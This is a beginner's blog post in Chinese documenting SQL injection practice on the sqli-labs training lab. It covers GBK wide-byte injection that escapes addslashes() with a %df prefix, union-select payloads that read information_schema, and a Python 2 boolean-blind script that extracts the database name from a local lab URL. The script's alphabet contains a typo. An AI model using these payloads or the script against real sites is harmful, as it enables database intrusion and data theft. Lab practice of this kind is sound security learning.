萌新学习sql注入4

自古美人都是妖i 提交于 2020-03-01 10:09:12

宽字节注入

先列举一下基本的url编码

明文 url编码
空格 %20
%27
# %23
\ %5c

addslashes函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:

  1. 单引号(’)
  2. 双引号(")
  3. 反斜杠(\)
  4. NULL

如何从addslashes函数中逃逸出来:
一:在\前面再加一个 \ (或单数个),变成\\’ ,这样\就被转义了,‘逃出了限制
二:把\弄没,在mysql使用GBK编码的时候,会认为两个字符是一个汉字(前面一个ASCII码要大于128,才到达汉字的范围)
汉字为两个字符
在这里插入图片描述
\'的编码为%5c%27
在这里插入图片描述
我们在 ’ 前加%df后变为%df\’
即为%df%5c%27,进行GBK解码后为
在这里插入图片描述
变为了運’,成功绕过了。

进行实验

实验环境:sqlilabs-less-32
在这里插入图片描述
本地搭建的靶机关于宽字节注入的题莫名其妙不能用了,又到虚拟机搭建了sqli-labs,花了一段时间。哭了
开始进行测试了!!!

?id=1%27--+

在这里插入图片描述
发现是用了addslashes() 函数,使用%df试试

?id=1%df%27--+

在这里插入图片描述
说明是GBK编码,可以注入了。

?id=-1%df%27 union select 1,2,3--+

在这里插入图片描述
用union联合注入即可,后面有一点要注意,就是where table_name=’ '的单引号不能使用,要使用另一种方法:十六进制

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

在这里插入图片描述

脚本编写

学习写python脚本了,sqlmap并不是万能的,学习了一上午,发现requests库的知识太多了,慢慢来吧
实验环境:sqlilabs-less-8
先写最简单的布尔盲注的脚本,首先需要python的requests库,pip下载即可

import requests

dic = 'abcdefghijklmnopqrstuvwsyz'

database = ''

for x in xrange(1,10):
    for i in dic:
        url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr(database(),%d,1)='%c'--+" %(x,i)
        try:
            response = requests.get(url,timeout = 5)
            if  response.content.find('You are in...........') != -1:
                database = database + i
                print database
                break
        except Exception,e:
            pass

print database

在这里插入图片描述
最主要的是这个判断,若找到You are in…就不为-1,执行下面语句。若没有找到就为-1,不执行if语句。

if  response.content.find('You are in...........') != -1:

接下来更改url句子即可

url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),%d,1)='%c'--+" %(x,i)

limit 0,1也可用一层循环,我这里就不在演示了。总之python脚本使用起来更加灵活,还是应该好好写一写的。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!